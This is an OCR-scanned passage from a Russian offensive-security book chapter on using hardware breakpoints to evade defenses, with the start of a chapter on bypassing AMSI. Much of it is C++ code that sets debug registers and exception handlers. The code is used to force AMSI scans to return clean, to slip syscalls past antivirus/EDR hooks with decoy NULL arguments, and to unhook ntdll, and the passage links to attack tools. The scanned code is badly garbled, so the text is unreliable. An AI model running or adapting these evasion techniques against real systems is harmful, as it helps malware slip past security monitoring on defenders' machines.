обработчик успешно срабатывает и вызывается, затем возвращает
EXCEPTION_ CONTINUE_ SEARCH. Это, в свою очередь, дергает
поэтому
VEH
Visua\ Studio
SEH, SEH
в программе нет,
включается и выдает нам исключение. Если будем воз
вращать EXCEPTION _ CONТINUE _ EXECТION, то получим бесконечный вызов обработчика, т. к.
каждый раз будет срабатывать строка *р = 42 (рис.
20. 7).
Точно такое же исключение будет срабатывать и при хардверных бряках.
Наконец, последний тип обработчиков
-
Unhandled Exception Filter.
Он редко ко
гда используется, но изначально задумывался как обработчик для исключений, ко
торые вообще никто не обрабатывает.
EXCEPТION - CONTINUE _SEARCH), ни
SEH
Ни
VEH
(если отсутствует или вернул
(если тоже отсутствует или указано EXCEPTION - CONTINUE_
SEARCH). Устанавливаются такие обработчики через функцию SetUnhandledExceptionFil ter ()
(https :/Лearn.microsoft.com/en-us/wi nd ows/win3 2/а pi/errhandlinga pi/nfe rrhandli nga pi-setu nhand led exceptio nfilter).
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
[in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
1;
Функция принимает один-единственный параметр
которая должна
С помощью
UEF
вызываться
при
возникновении
-
адрес функции-обработчика,
необработанного
также ловятся исключения, возникающие при бряках.
исключения.
400
Часть
Рис.
20.7.
111.
Способы обхода средств защиты информации
Бесконечная обработка исключения
Возьмем прошлый код и переделаем его под
UEF.
#include <iostream>
#include <windows.h>
LONG WINAPI MyUnhandledExceptionHandler(PEXCEPTION_POINTERS exceptioninfo)
{
std: :cout « "Unhandled exception occurred!" « std: :endl;
std: :cout « "Exception Code: " « exceptionlnfo->ExceptionRecord->ExceptionCode «
std: : eпdl;
std: :cout « "Exception Address: "« except1onlnfo->ExceptioпPecord->ExceptionAddress «
std: :eпdl;
returп
EXCEPTION - CONTINUE - SEARCH;
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
401
int main()
if
(SetUnhandledExceptionFilter(MyUnhandledExceptionНandler)
== nullptr)
std:: cout « "Failed to set the unhandled exception filter 1 " « std: :endl;
return 1;
int*
*р
р
= nullptr;
= 42;
return
О;
Обратите внимание, что если вы запустите этот код в
ошибку до
Visual Studio, то она выдаст
UEF (рис. 20.8).
Рис.
20.8.
Исключение от «Студии», а не от
UEF
Это связано с тем, что исключение в данном случае обрабатывает
Если же файл будет запущен за пределами
обработчика (рис.
20.9).
IDE,
Visual Studio.
то мы получим успешный вызов
Часть
402
8
Администраrор:
Windows Ро·
Х
о
х
. \САрр.ехе
1
Рис.
Установить
Способы обхода средств защиты информации
+
PS A:\SSD\ProjectsVS\CApp\xбЧ\Release>
Unhandled exception occu.rred!
Exception Code : 3221225Ч77
Exception Address : B00B7FF69Ч7Fl0FS
PS А : \SSD\ProjectsVS\CApp\xбЧ\Release>
Установка
111.
20.9.
Вызов обработчика
hardware breakpoint
HWBP
проще простого
-
достаточно лишь занести в нужный регистр
адрес. Для большей абстракции я написал функцию setHWBP ( 1, ку да нужно передать
адрес, по которому следует установить точку останова, булево значение (тRUE установить,
FALSE -
снять), а также номер регистра. Согласно документации адрес
может быть указан в Dr0, Drl и т. д., но у меня почему-то работало только с oro.
// address - адрес, по которому ставить функцию
// setBP - FALSE - снять бряк, TRUE - установить
// regnшner - номер регистра, который инициализировать
адресом
VOID SetHWBP(LPVOID address, В001 setBP, int regnшnЬer) (
// Здесь передаем О
CONTEXT context = ( О };
context.ContextFlags = CONTEXT DEBUG REGISTERS;
GetThreadContext (GetCurrentThread () , &context);
// Почему-то бряк, если адрес записывать в регистры, отлич ные от Dr0, не срабатывает
std::string registerNames[] = ( "Dr0 ", "Dr l ", "Dr2", " DrЗ" );
if (setBP} {
DWORD64* registers( ] = ( &context.Dr0 , &context.Drl, &context . Dr2, &context.DrЗ };
if (regnшnЬer >= О && regnшnЬer < 4) (
*registers(regn шnЬer] = (DWORD64)address;
std: :cout « "Writing Address to " « registerNames(regnшnЬerj « std: :endl;
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
else {
std: :wcout « L"Invalid Registry
exit(-1);
NurnЬer"
403
« std: :endl;
// Установка бита О в DR7 для активации DRO
context.Dr7 1= 1;
// Установка битов 16-17 в DR7 для тиnа точки останова {Execute)
context.Dr7 1= {ОЬОО << 16);
// Установка битов 18-19 в DR7 для длины точки останова {1 byte)
context.Dr7 1= (ОЬОО << 18);
else {
context.DrO
context.Drl
context.Dr2
context.DrЗ
О;
О;
О;
О;
context.Dr7 &= ~{1 «
О);
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext{GetCurrentThread(), &context);
Для
получения
GetThreactcontext ()
значения
регистров
текущего
потока
используется
функция
(https:/Лearn.microsoft.com/en-us/windows/win32/api/processthreads
api/nf-processthreadsapi-getthreadcontext), а для установки измененных значений
используется setThreactcontext ()
(https://learn.microsoft.com/en-us/windows/win32/
api/processthreadsapi/nf-processthreadsapi-getthreadcontext).
Причем, если мы хотим обрабатывать только исключения, сработавшие из-за
HWBP,
в нашей функции-обработчике следует предусмотреть проверку на наличие
в структуре
EXCEPTION_POINTERS элемента ExceptionCode, равного STAТUS_SINGLE_STEP. Это
значение свидетельствует о том, что возникло событие, когда одна инструкция за
вершается и следующая инструкция готова к выполнению.
LONG WINAPI Handler(PEXCEPTION_POINTERS exceptioninfo)
{
if (exceptioninfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
std: :cout << "Unhandled exception occurred!" « std: :endl;
// Проверка, что реально наш бряк сработал
if (exceptioninfo->ContextRecord->DrO == exceptioninfo->ContextRecord->Rip 11
exceptioninfo->ContextRecord->Drl == exceptioninfo->ContextRecord->Rip
exceptioninfo->ContextRecord->Dr2 == exceptioninfo->ContextRecord->Rip
exceptioninfo->ContextRecord->DrЗ == exceptioninfo->ContextRecord->Rip) {
s td: : cout « " [- ] Breakpoint triggered Ох" « std: : hex « exceptioninfo->
ExceptionRecord->ExceptionAddress << std: :endl;
std:: cout « " [ 1 ] Exception Code Ох" « std: :hex « exceptioninfo->
ExceptionRecord->ExceptionCode << std: :endl;
11
11
Часть
404
std: :cout
std::cout
std: :cout
std: :cout
«
" [ ! ] RIP
<< " [ ! ] RAX
« " [ ! ] RCX
« " [ ! ] RDX
Ох"
Ох"
111.
Способы обхода средств защиты информации
« std::hex << exceptionlnfo->ContextRecord->Rip << std: :endl;
« std::hex << exceptionlnfo->ContextRecord->Rax << std: :endl;
Ох"
<< std::hex << exceptionlnfo->ContextRecord->Rcx << std: :endl;
Ох"
« std::hex << exceptionlnfo->ContextRecord->Rdx << std: :endl;
exceptionlnfo->ContextRecord->EFlags 1= (1 << 16);
return EXCEPТION_CONТINUE_EXECUТION;
1
// Вернем EXCEPTION_CONTINUE_SEARCH,
return EXCEPТION- CONТINUE- SEARCH;
чтобы передать исКJIЮЧение дальше
Использовать в своей программе этот код проще простого. Вот пример.
#include <iostream>
#include <windows.h>
LONG WINAPI Handler(PEXCEPТION_POINTERS exceptionlnfo)
1
if (exceptionlnfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
std::cout « "Unhandled exception occurred!" « std::endl;
// Проверка того, что наш бряк реально сработал
if (exceptionlnfo->ContextRecord->DrO == exceptionlnfo->ContextRecord->Rip 11
exceptionlnfo->ContextRecord->Drl = exceptionlnfo->ContextRecord->Rip 11
exceptionlnfo->ContextRecord->Dr2 = exceptionlnfo->ContextRecord->Rip 11
exceptionlnfo->ContextRecord->DrЗ = exceptionlnfo->ContextRecord->Rip) {
std: : cout « " [- ] Breakppint triggered " « std: : hex « exceptionlnfo->
ExceptionRecord->ExceptionAddress << std: :endl;
std: :cout « "[!] Exception Code" « std::hex « exceptionlnfo->
ExceptionRecord->ExceptionCode « std: :endl;
std: :cout « "[ !] RIP" « std::hex << exceptionlnfo->ContextRecord->Rip << std: :endl;
std: :cout « "[ !] RAX" « std::hex << exceptionlnfo->ContextRecord->Rax << std: :endl;
std: :cout « "[ !] RCX" « std::hex << exceptionlnfo->ContextRecord->Rcx << std: :endl;
std: :cout « "[ !] RDX" « std::hex « exceptionlnfo->ContextRecord->Rdx « std: :endl;
std: :cout « "[ !] RB "« std::hex « exceptionlnfo->ContextRecord->RB « std::endl;
std: :cout « "[ !] R9" « std::hex « exceptioninfo->Co!ltextRecord->R9 « std::endl;
std: :cout « "[ !] RSP" « std::hex « exceptionlnfo->ContextRecord->Rsp « std: :endl;
std: :cout « "[!] DrO "« std::hex « exceptionlnfo->ContextRecord->Dr0 « std: :endl;
exceptionlnfo->ContextRecord->EFlags 1= (1 << 16);
return EXCEPТION- CONTINUE- EXECUТION;
)
// Вернем EXCEPTION_CONTINUE_SEARCH,
return EXCEPTION- CONTINUE- SEARCH;
чтобы передать исключение дальше
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
VOID SetHWBP(LPVOID address, BOOL setBP, int regnшnЬer)
CONTEXT context = ( О );
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от Dr0, не срабатывает
std: :string registerNarnes[] = ( "Dr0", "Drl", "Dr2", "DrЗ" );
if (setBP) (
DWORD64* registers[] = ( &context.Dr0, &context.Drl, &context.Dr2, &context.DrЗ );
if (regnшnЬer >= О && regnшnЬer < 4) (
*registers[regnшnЬer] = (DWORD64)address;
std::cout « "Writing Address to" « registerNarnes[regnшnЬer] « std::endl;
else
std: :wcout « L"Invalid Registry
exit(-1);
NшnЬer"
« std: :endl;
// Установка бита 1 в DR7 для активации DR0
context.Dr7 1= 1;
// Установка битов 16-17 в DR7 для типа точки останова (Execute)
context.Dr7 1= (ОЬОО << 16);
// Установка битов 18-19 в DR7 для длины точки останова (1 byte)
coпtext.Dr7 1= (ОЬОО << 18);
else
context.DrO
context.Drl
context.Dr2
context.DrЗ
О;
О;
О;
О;
context.Dr7 &= ~(1 «
О);
)
context.ContextFlags = CONTEXT DEBUG REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
int main()
if
(AddVectoredExceptionНandler(l,
Handler) == nullptr)
std::cout « "Failed to set the vectored exception filter 1 " « std::endl;
return 1;
// Адрес функции printf
void* targetAddress = (void*)printf;
SetНWВP(targetAddress, TRUE, О);
// Генерация сигнала точки
printf("Hello, world 1");
останова
405
Часть
406
return
///.
Способы обхода средств защиты информации
О;
Здесь был установлен
HWBP
по адресу функции printf 1) . Как только система дошла
до вызова этой функции, сработало исключение, вызвался обработчик исключений,
вывел содержимое регистров, а затем вернул управление на функцию, что привело
к появлению в консоли Hello , wo r ld ! (рис.
Рис.
20.1 О.
20 .1О).
Сработавший
HWBP
Теперь мы научились ставить бряки. Как же их использовать для пентестерских
целей?
Обход
У
AMSI
AMSI
есть функция AmsiS canBuffer (), которая служит для сканирования буфера на
предмет наличия зловредов. Ничто нам не мешает поставить
HWBP
на эту функ
цию, перехватить поток управления и заставить функцию вернуть AМSI _RES ULT _ CLEAN.
Этот метод уже давно известен, и код лежит на GitHub: https://gist.github.com/
ССоЬ/fе3 b63d80890fafeca982fi 6c8a3efdf.
Глава
20. Используем хардверные брейк-пойнты в пентестерских целях
407
Причем, если нам не подходит реализация на С++, есть на С#, проект называется
SharpBlock
используя
(https://github.com/CCoЬ/SharpBlock).
хардверные
брейк-пойнты.
Для
Он
этого
патчит
вынесен
и
ETW,
отдельный
метод
AMSI
EnaЬleBreakpoint().
Обратите внимание, что в зависимости от архитектуры используются разные ме
тоды.
Если у
нас
х86,
то
адрес
следует конвертировать
<addr>. Toint32 (), а когда в х64, то <addr>. Toint64 () (рис.
с
20.11, 20.12).
Рис.
20.11. Функция EnaЫeBreakpoint для х86
Рис.
20.12. Функция EnaЫeBreakpoint для х64
помощью
метода
Часть
408
111.
Способы обхода средств защиты информации
Извлечение номеров сисколов
Сисколы позволяют напрямую обратиться к ядру операционной системы, что по
может избежать хуков в
user mode. Подробно сисколы я рассматривал в материале
Hell's Gate и обходим антивирус» (https://xakep.ru/
«Врата ада. Переписываем
Сейчас
2023/08/08/hells-gate/).
же
предлаrаю
использует
UEF
на
проект
Этот
проект
внимание
обратить
TamperingSyscalls (https://github.com/rad9800/famperingSyscalls).
для извлечения номеров сисколов. Сначала просто ставится функ
ция-обработчик.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
Следом идет поиск адреса Nt* функции и установка бряка на адрес
syscall
этой
функции. Для этого точка останова ставится непосредственно на саму инструкцию.
Адрес инструкции находится стандартным сканированием памяти на паттерны
(а именно на последовательность байтов
OfOS).
LPVOID FindSyscallAddress( LPVOID function)
{
= { OxOF,
for( unsigned int i =
БУТЕ stuЬ[]
);
i < (unsigned int)25; i++ )
Ох05
О;
{
if( memanp( (LPVOID) ((DWORD_PТR)function + i),
return (LPVOID) ((DWORD_PTR)function + i);
stuЬ,
2 )
=О)
{
return NULL;
Когда адрес найден, на него устанавливается хардверный брейк-пойнт с помощью
следующей функции:
VOID
SetOneshotнardwareBreakpoint(
LPVOID address
{
СОNТЕХТ context = { О };
context.ContextFlaqs = CONТEXТ_DEВUG_REGISTERS;
GetТhreadContext( GetCUrrentТhread(), &context };
context.DrO
context.Dr6
context.Dr7
context.Dr7
context.Dr7
=
=
=
=
=
(DWORD64}address;
О;
(context.Dr7 & ~({(1 « 21 - 1) « 16)) 1 (О« 16);
(context.Dr7 & ~(((1 « 2) - 1) « 18)) 1 (О« 18);
(context.Dr7 & ~(((1 « 1) - 1) « 0)) 1 (1 « О);
context.ContextFlaqs
= CONТEXТ_DEВUG_REGISTERS;
SetТhreadContext( GetCurrentТhread(),
return;
&context );
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
409
Например, если мы хотим засисколить функцию NtмapViewOfSection (), то сначала
генерируем нужный код с помощью файла gen.py.
pyf:hon gen.py NtMapViewOfSection
Это приведет к созданюо трех файлов: TamperingSyscalls.cpp, TamperingSyscalls.h и
q.µ.n.cpp. Включаем файлы в проект, после чего подключаем заголовочный.
tinclude "TamperingSyscalls.h"
И вызываем нужные функции, просто добавляя р к имени.
pNtмapViewOfSection(
section, NtCurrentProcess(), &addr,
О, О,
NULL, &size, 1,
О,
PAGE_REAOONLY );
Внутри сгенерированной функции идет получение адреса NtМapViewOfSection ()
из
ntdl.l.dll.
pNtMapViewOfSection( НANDLE SectionНandle, НANDLE ProcessHandle, PVOID ВaseAddress,
ULONG ZeroBits, SIZE Т CommitSize, PLARGE INТEGER SectionOffset, PSIZE_T ViewSize, DWORD
InheritDisposition, ULONG AllocationType,-ULONG Win32Protect) {
LPVOID FunctionAddress;
NТSTATUS status;
hash( NtMapViewOfSection );
FunctionAddress = GetProcAddrExН( hashNtMapViewOfSection, hashNТDLL );
typeNtMapViewOfSection fNtМapViewOfSection;
NТSTATUS
pNtMapViewOfSectionArgs.SectionНandle = SectionНandle;
pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle;
pNtMapViewOfSectionArgs.BaseAddress = BaseAddress;
pNtMapViewOfSectionArgs.ZeroBits = ZeroBits;
pNtMapViewOfSectionArgs.CommitSize = CommitSize;
pNtMapViewOfSectionArgs.SectionOffset = SectionOffset;
ЯN~MapViewOfSectionArgs.ViewSize = ViewSize;
pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition;
pNtMapViewOfSectionArgs.AllocationType = AllocationType;
pNtMapViewOfSectionArgs.Win32Protect = Win32Protect;
fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress;
EnшnState
= NТМAPVIEWOFSECTION
ENUМ;
SetOneshotHardwareBreakpoint( FindSyscallAddress( FunctionAddress ) );
status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize,
pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType,
pNtMapViewOfSectionArgs.Win32Protect ) ;
return status;
Для получения адреса используется техника
API Hashing, которую я демонстриро
API Hashing, чтобы обдурить анти
(https://xakep.ru/2023/10/06/api-hashing/). Хеш считается с помощью одно
вал в статье «Веселые хеши. Реализуем технику
вирус»
именного макроса.
#define hash( VAL) constexpr auto CONCAT( hash, VAL) =
НASНALGO( TOКENIZE(
VAL) );
Часть
410
111.
Способы обхода средств защиты информации
Далее инициализируются все элементы структуры
NtMapViewOfSectionArgs:
typedef struct {
НANDLE
SectionНandle;
ProcessHandle;
BaseAddress;
PVOID
ZeroBits;
ULONG
CommitSize;
SIZE Т
SectionOffset;
PLARGE INTEGER
ViewSize;
PSIZE Т
DWORD InheritDisposition;
AllocationType;
ULONG
Win32Protect;
ULONG
) NtMapViewOfSectionArgs;
НANDLE,
Эта структура содержит информацию обо всех аргументах функции NtMapViewOfSection,
которые будут применяться в дальнейшем.
Затем устанавливается специальное значение Enшnstate, благодаря которому отлад
чик сможет понять, бряк на какую функцию сработал. Наконец, происходит непо
средственно вызов Nt-функции, адрес которой был получен ранее.
status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize,
pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType,
pNtMapViewOfSectionArgs.Win32Protect ) ;
Обратите внимание, что первыми четырьмя параметрами мы передаем NULL. Именно
эти параметры, скорее всего, будет анализировать антивирус до выполнения инст
рукции syscall. Но мы на их место передаем NULL, что сбивает антивирус с толку: он
не может принять решение, легитимный это вызов или нет, в результате чего про
пускает
(рис.
вызов.
Фактически
таким
образом
мы
обошли
потенциальный
хук
20.13).
jmp 0xANTIVIRUSHOOКADDR~--noтoк управления получает АВ.
Сканирует первые четыре NULL-napaмeтpa.
add byte ptr ds:[rax],al
Видит, что всl! нормально, пускает
add dh,dh
syscall
А вот эдесь стоит
Рис.
HWBP.
20.13.
который восстанавливает правильные аргументы
Зачем нужны NULL-napaмeтpы
Восстановление параметров происходит как раз таки в функции-обработчике НWВР.
LONG WINAPI OneShotHardwareBreakpointHandler( PEXCEPTION_POINTERS Exceptioninfo
{
1f( Exceptioninfo->ExceptionRecord->ExceptionCode
==
STATUS_SINGLE_STEP
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
411
if ( Exceptioninfo->ContextRecord->Dr7 & 1 ) (
// If the Exceptioninfo->ContextRecord->Rip == Exceptionlnfo->ContextRecord->Dr0
// Then we are at the one shot breakpoint address
// Exceptioninfo->ContextRecord->Rax should hold the syscall nW!IЬer
PRINT( "Syscall : 0x%x\n", Exceptionlnfo->ContextRecord->Rax);
if ( Exceptionlnfo->ContextRecord->Rip == Exceptioninfo->ContextRecord->Dr0 ) (
О;
Exceptioninfo->ContextRecord->Dr0
// You need to f1x your arguments 1n the right registers and stack here
switch( EnumState ) (
// RCX moved into Rl0 11 ' Kudos to @anthonyprintup for catching this
case NTМAPVIEWOFSECTION ENUМ:
Exceptioninfo->ContextRecord->Rl0
(DWORD _PTR) 1 (NtMapViewOfSectionArgs *) (StateArray [EnumState) . arguments)) ->SectionНandle;
Except1oninfo->ContextRecord->Rdx =
1DWORD_PTR) ( (NtMapViewCfSectionArgs *) (StateArray [EnumState) . arguments)) ->ProcessHandle;
Except1oninfo->ContextRecord->R8 =
(DWORD_PTR) 1(NtMapViewOfSectionArgs*) (StateArray[EnumState] .arguments))->BaseAddress;
Exceptioninfo->ContextRecord->R9 =
(DWORD_PTR) ( (NtMapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->ZeroBits;
break;
case NTUNМAPVIEWOFSECTION ENUМ:
Exceptioninfo->ContextRecord->Rl0
(DWORD_PTR) ( (NtUnmapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->ProcessHandle;
Exceptioninfo->ContextRecord->Rdx =
(DWORD_PTR) ( (NtUnmapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->BaseAddress;
break;
case NTOPENSECTION ENUМ:
Exceptionlnfo->ContextRecord->Rl0
(DWORD_ PTR 1 ( (NtOpenSect ionArgs *) (Sta teArra у [EnumState] . arguments) ) ->Sect1onНandle;
Exceptioninfo->ContextRecord->Rdx =
(DWORD_PTR) ( (NtOpenSectionArgs*) (StateArray[EnumState] .arguments) )->DesiredAccess;
Exceptioninfo->ContextRecord->R8 =
(DWORD_PTR) ( (NtOpenSectionArgs*) (StateArray [EnumState] . arguments)) ->Obj ectAttributes;
break;
Часть
412
111.
Способы обхода средств защиты информации
// You have messed up Ьу not providing the indexed state
default:
Exceptioninfo->ContextRecord->Rip += 1; // Just so we don't hang
break;
return EXCEPTION CONTINUE EXECUTION;
-
-
return EXCEPTION - CONTINUE- SEARCH;
Сначала эта функция проверяет, что исключение действительно хардверное. Для
этого происходит сравнение со значением sтдтus _SINGLE_STEP, об этой проверке я рас
сказывал выше.
Далее система проверяет, что хардверный брейк-пойнт был включен (должно быть
значение 1 у 0р7). Следующим шагом из регистра Rax извлекается номер сискола,
который был туда занесен. После чего проверяем, что адрес следующей выполняе
мой инструкции
(syscall) действительно лежит в Dp0, т. е. установленный на нее
бряк действительно сработал. После чего
значения
EnumState,
HWBP
снимается и начинается проверка
которое инициализировали ранее. Это нужно для корректной
инициализации всех параметров функции. Если все прошло успешно, срабатывает
бряк, а за ним
-
EXCEPТION_CONTINUE_EXECUTION, что приводит к выполнению сискола
с нужными нам параметрами. Фактически мы «пробрасываем параметры» в обход
,
EDR.
техника
применяется
и
в
HWSyscalls (https://github.com/Shor~e~/
НWSyscalls), есть даже отдельный шелл-код-лоадер (https://github.com/flory~W
NtRemoteLoad).
Похожая
'i
Анхукинг
очень полезная штука! Их можно использовать и для снятия
Хардверные бряки -
хуков в юзермоде. Для этого нужно предварительно создать дочерний процесс, став
для него дебаггером. После этого установить
функция вызывается при загрузке
ную LoadLibrary 1) вируса»
DLL
HWBP
в процесс, на ее основе я написал собствен
подробнее в статье «Молчи и скрывайся. Прячем
IA Т
от анти
(https://xakep.ru/2023/09/05/hiding-iat/).
Далее остается лишь проверять имена загружаемых
ко
на функцию LdrLoadDll 1). Эта
DLL,
разрешая подгрузку толь
ntdll. dll. Убедившись, что отлаживаемый процесс загрузил ntdll. dll, мы копиру
ем ее содержимое в свой собственный процесс и перезаписываем ntdll. dll нашего
текущего процесса, что и приводит к анхукингу. Техника называется
существует
(рис.
20.14).
готовый
РоС:
BlindSide,
https://github.com/CymulateResearch/Blindside/tree/main
Глава
20. Используем хардверные брейк-пойнты в пентестерских целях
413
Дочерний процесс
процесс
Haw
под отладкой
-----~--===~~-::>
Запуск дочернеrо
процеа:а
Получение адреса
LdrLoadDII()
Установка HWBP
на LdrLoadDII()
Загружается ntdll.dll
Остальные блокируются
Копируем в наш
npouecc __
.....,.
содержимое ntdll.dll
✓
Снимаем хук
путем перезаписи
ntdll.dll
текущеrо процесса
Рис.
Пишем кастомный
20.14. Алгоритм
снятия хуков
GetThreadContext()
Мне кажется, мы недостаточно хорошо прошлись по параметрам, которые приле
тают в функцию-обработчик. Что ж, исправляюсь. Функция-обработчик принимает
структуру
соNтЕхт
winnt-context),
(https://learn.microsoft.com/ru-ru/windows/win32/api/winnt/ns-
содержащую информацию о значении всех регистров потока. Но
проблема в том, что регистры х64 отличаются от регистров х86, поэтому есть также
структура wow64_CONTEXT
(https://learn.microsoft.com/en-us/windows/win32/api/winnt/
ns-winnt-wow64_context), где хранятся значения регистров у программ для х86.
Мы можем использовать эти данные для получения структуры CONTEXT, чтобы избе
жать подозрительной функции GetThreadcontext () . Вот пример кода.
#include <iostream>
#include <Windows.h>
#ifdef
void
WIN64
ShowContext(CONТEXT
std: :cout
std: :cout
std::cout
«
«
«
std: :cout <<
std: :cout
«
ctx)
"Context values:" << std: :endl;
"PlHome: "
ctx.PlНome
"P2Home:
ctx.P2Home
«
«
ctx.PЗHome
<< std: :endl;
"РЗНоmе:
"P4Home:
«
"«
" «
" «
std: :endl;
std::endl;
ctx.P4Home << std: :endl;
414
std: :cout
std: :cout
std: :cout
std: :cout
std: :cout
std: :cout
std: :cout
std:: cout
std::cout
std::cout
std: :cout
std::cout
std: :cout
std: :cout
std: :cout
std::cout
std::cout
std: :cout
std: :cout
std::cout
std::cout
std: :cout
std: :cout
std::cout
std:: cout
std: :cout
std::cout
std: :cout
std: :cout
std:: cout
std: :cout
std: :cout
std:: cout
std: :cout
Часть
111.
Способы обхода средств защиты информации
<< "PSHome: " « ctx.PSHome << std: :endl;
« "P6Home: " << ctx.P6Home << std: :endl;
« "ContextFlags: " << ctx.ContextFlags « std: :endl;
« "MxCsr: " « ctx.MxCsr « std: :endl;
« "SegCs: " « ctx.SegCs « std: :endl;
« "SegDs: 11 << ctx.SegDs « std: :endl;
« "SegEs: " « ctx.SegEs « std: :endl;
« "SegFs: " « ctx.SegFs « std: :endl;
« "SegGs: " « ctx.SegGs << std: :endl;
« "SegSs: " « ctx.SegSs « std: :endl;
« "EFlags: " << ctx.EFlags << std: :endl;
« "Dr0: " « ctx.Dr0 « std:: endl;
« "Drl: " « ctx.Drl « std: :endl;
« "Dr2: " « ctx.Dr2 « std: :endl;
« 11 DrЗ: " « ctx.DrЗ « std:: endl;
« 11 Dr6: " « ctx.Drб « std:: endl;
« "Dr7: " « ctx.Dr7 « std: :endl;
« "Rax: " « ctx.Rax « std: :endl;
« "Rcx: " « ctx.Rcx « std: :endl;
« 11 Rdx: " « ctx.Rdx « std: :endl;
« 11 RЬх: " « ctx.RЬx « std: :endl;
« "Rsp: " « ctx.Rsp « std:: endl;
« "RЬр: " « ctx.RЬp « std: :endl;
« 11 Rsi: " « ctx.Rsi « std:: endl;
« "Rdi: " « ctx.Rdi « std:: endl;
« "R8: 11 « ctx.R8 « std: :endl;
« "R9: " « ctx.R9 « std: :endl;
« "Rl0: 11 « ctx.Rl0 « std: :endl;
« 11 Rll: 11 « ctx.Rll « std: :endl;
« 11 R12: 11 « ctx.R12 « std: :endl;
« "RlЗ: " « ctx.RlЗ « std: :endl;
« "R14: 11 « ctx.R14 « std: :endl;
« 11 Rl5: 11 << ctx.RlS « std:: endl;
« "Rip: " « ctx.Rip « std:: endl;
#endif
void ShowContext32(CONTEXT ctx)
std: :cout « "Context values: 11 « std: :endl;
std::cout « "ContextFlags: " << ctx.ContextFlags « std:: endl;
std: :cout « "Dr0: " « ctx.Dr0 « std: :endl;
std: :cout « "Drl: " « ctx.Drl « std: :endl;
std: :cout « "Dr2: " « ctx.Dr2 « std: :endl;
std:: cout « "DrЗ: " << ctx.DrЗ « std: :endl;
std:: cout « "Drб: 11 « ctx.Drб « std: :endl;
std::cout « "Dr7: " « ctx.Dr7 « std: :endl;
std::cout « "SegGs: " « ctx.SegGs « std: :endl;
std: :cout « "SegFs: " « ctx.SegFs « std:: endl;
Глава
20.
std::cout
std::cout
std::cout
std:: cout
std::cout
std: :cout
std::cout
std:: cout
std::cout
std::cout
std::cout
std::cout
std::cout
std: :cout
Используем хардверные брейк-пойнты в пентестерских целях
<< "SegEs: " « ctx.SegEs << std: :endl;
« "SegDs: " « ctx.SegDs « std: :endl;
« "Edi: " << ctx.Edi « std:: endl;
« "Esi: " « ctx.Esi « std: :endl;
<< "ЕЬх: " « ctx.Ebx « std:: endl;
<< "Edx: " « ctx.Edx << std:: endl;
« "Есх: " « ctx.Ecx « std::endl;
« 11 Еах: " « ctx.Eax « std: :endl;
« "ЕЬр: " « ctx.Ebp « std: :endl;
« "Eip: " « ctx.Eip « std:: endl;
« "SegCs: " « ctx.SegCs « std: :endl;
« "EFlags: " « ctx. EFlags « std: :endl;
« "Esp: " « ctx.Esp « std: :endl;
<< "SegSs: " << ctx.SegSs << std: :endl;
LONG WINAPI Handler(PEXCEPTION_POINTERS Exceptioninfo) (
std::cout « "[+] GetThreadContext Result:" « std::endl;
static int value = О;
value += 1;
#ifdef WIN64
PCONTEXT ctx = Exceptioninfo->ContextRecord;
ShowContext(*ctx);
#else
PCONTEXT ctx = Exceptioninfo->ContextRecord;
ShowContext32(*ctx);
#endif
if (value == 2) {
value = О;
return EXCEPTION- CONTINUE - SEARCH;
else
return EXCEPTION - CONTINUE - EXECUTION;
void CustomGetThreadContext() {
AddVectoredExceptionHandler(l, Handler);
try 1
throw "exception";
catch ( ... ) (
RemoveVectoredExceptionHandler(Handler);
return;
415
Часть
416
111.
Способы обхода средств защиты информации
int main()
CustomGetThreadContext();
return О;
Ставим хуки
Наконец, самое сочное
-
установка хуков. Алгоритм не отличается ровным счетом
ничем. Умельцы давно реализовали в виде милой DLL-библиотеки, мне остается
лишь приложить ссылку на РоС:
https://github.com/rad9800/hwbp4mw.
Заключение
Использование аппаратных точек останова в пентестерских целях
-
обычное и смелое решение, которое встречается редко. Самое главное
очень не
-
грамотно
обрабатывать исключения, которые вы сами себе делаете. Ведь если что-то забуде
те обработать, то ваша программа упадет и придется все запускать заново.
ГЛАВА
21
Изучаем новый способ обхода
в
AMSI
Windows
Antimalware Scan lnterface - система,
вредоносных сценариев на PowerShell.
которую в
Microsoft
создали для защиты от
В этой главе я продемонстрирую, как рабо
тает один из методов обхода этого механизма. Мы будем запускать сценарий
PowerShell
как процесс под отладкой, что откроет некоторые интересные возмож
ности.
На высоком уровне
AMSI
хукает каждую команду или сценарий во время выпол
нения и передает их локальному антивирусному ПО для проверки. Причем под
держиваются практически любые антивирусы, это может быть не только стандарт
ный
Defender.
AMSI
□ с
умеет работать:
PowerShell;
□
Windows Script Host (wscript
□
JavaScript
и
и cscript);
VBScript;
□ УВА-макросами.
Проблема такой реализации в том, что amsi. dll (в которой реализована вся логика
AMSI)
находится в адресном пространстве текущего процесса. Как следствие,
у атакующих появляется возможность манипулировать этой библиотекой так, как
